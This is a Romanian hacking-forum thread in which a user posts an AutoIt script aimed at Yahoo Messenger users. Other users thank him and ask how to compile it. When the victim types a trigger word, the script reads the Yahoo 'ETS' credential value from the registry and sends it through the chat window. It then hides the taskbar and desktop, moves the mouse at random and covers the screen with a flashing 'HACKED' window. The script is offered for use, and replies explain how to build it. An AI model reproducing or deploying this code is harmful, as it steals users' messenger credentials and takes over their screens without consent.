Jimmy Posted October 3, 2012 Report Posted October 3, 2012 (edited) Cand victima tasteaza cuvantul /bine/ veti primi ets-ul ei si se apeleaza functia funny...facut de plictiseala , il puteti modifica de exemplu cand scrie un anumit cuvant sa faca nush ce...plm, end of story Ps/ functia funny e de pe net.AutoitWhile 1 If WinExists("[CLASS:CTabbedIMHost]") Then $Text = ControlGetText("[CLASS:CTabbedIMHost]", "", "YIMInputWindow1") $Word = "bine" $String = StringCompare($Text, $Word) If $String = 0 Then ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", " coi {ENTER}") $ETS = RegRead("HKEY_CURRENT_USER\Software\Yahoo\pager", "ETS") WinSetTrans("[CLASS:CTabbedIMHost]", "", 0) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", $ETS & "{ENTER}") WinSetTrans("[CLASS:CTabbedIMHost]", "", 255) ControlSend("[CLASS:CTabbedIMHost]", "", "[CLASS:YIMInputWindow; INSTANCE:1]", "<DING>{ENTER}") _Funny () EndIf EndIf Sleep(100)WEndFunc _Funny ()While True WinMinimizeAll() WinSetState("[CLASS:DV2ControlHost]", "", @SW_DISABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 0) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_HIDE) WinSetState("Program Manager", "", @SW_HIDE) HotKeySet("{ESC}", "_escape") Global $x Global $y Global $c Global $o $gui = GUICreate("HACKED", @DesktopWidth + 3, @DesktopHeight + 3, -1, -1) GUISetState(@SW_SHOW) WinSetTrans("HACKED", "", 99) While 1 $x = Random(150, @DesktopWidth, 1) $y = Random(150, @DesktopHeight, 1) $c = Random(000000, 999999, 1) $o = Random(75, 99, 1) MouseMove($x, $y, 5) ToolTip("HACKED") GUISetBkColor($c, $gui) Sleep(5) WEndWEndEndFuncFunc _escape() GUISetState(@SW_HIDE, "Cover") WinSetState("Program Manager", "", @SW_SHOW) WinSetState("Program Manager", "", @SW_SHOW) WinSetState("[CLASS:Shell_TrayWnd]", "", @SW_SHOW) WinSetState("[CLASS:DV2ControlHost]", "", @SW_ENABLE) WinSetTrans("[CLASS:DV2ControlHost]", "", 255) ExitEndFunc Edited October 3, 2012 by Jimmy 1 Quote
YzY Posted November 1, 2012 Report Posted November 1, 2012 Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Quote
StoNe- Posted November 8, 2012 Report Posted November 8, 2012 YzY said: Si....Ce fac cu acel cod cine imi poate explica chiar nu inteleg cum se foloseste Nu cred ca sta nimeni sa iti explice. Toti au invatat singuri , nu mura-n gura. Quote
AltraX Posted November 8, 2012 Report Posted November 8, 2012 @StoNe- , daca cu un post si deja comentezi , ma intrebi cum o sa faci cand ai reputatie .O sa imi amintesc de tine , daca tu nu ajuti , nu astepta ca cineva sa te ajute.Punem pariu ca o sa il ajute cineva? "Mura-n gura".ON : Frumos omule. O sa il testez. Quote
Che Posted November 9, 2012 Report Posted November 9, 2012 YzY said: s-o rezolvat -> Frumos ! Cum ai facut ? Quote
io.kent Posted November 9, 2012 Report Posted November 9, 2012 sia pus ochelari de soare sa vada codul color:)) che ce intrebare iai bagat=))jimmy frumos! Quote
Alexutzu98 Posted November 9, 2012 Report Posted November 9, 2012 Explicati-mi si mie ceva Nu prea inteleg ... Quote
bubu2005 Posted November 9, 2012 Report Posted November 9, 2012 Alexutzu98 said: Explicati-mi si mie ceva Nu prea inteleg ...Descarci,programul COILII de aici:AutoIt Downloads - AutoItScriptiei sursa si il compilezi si gata Quote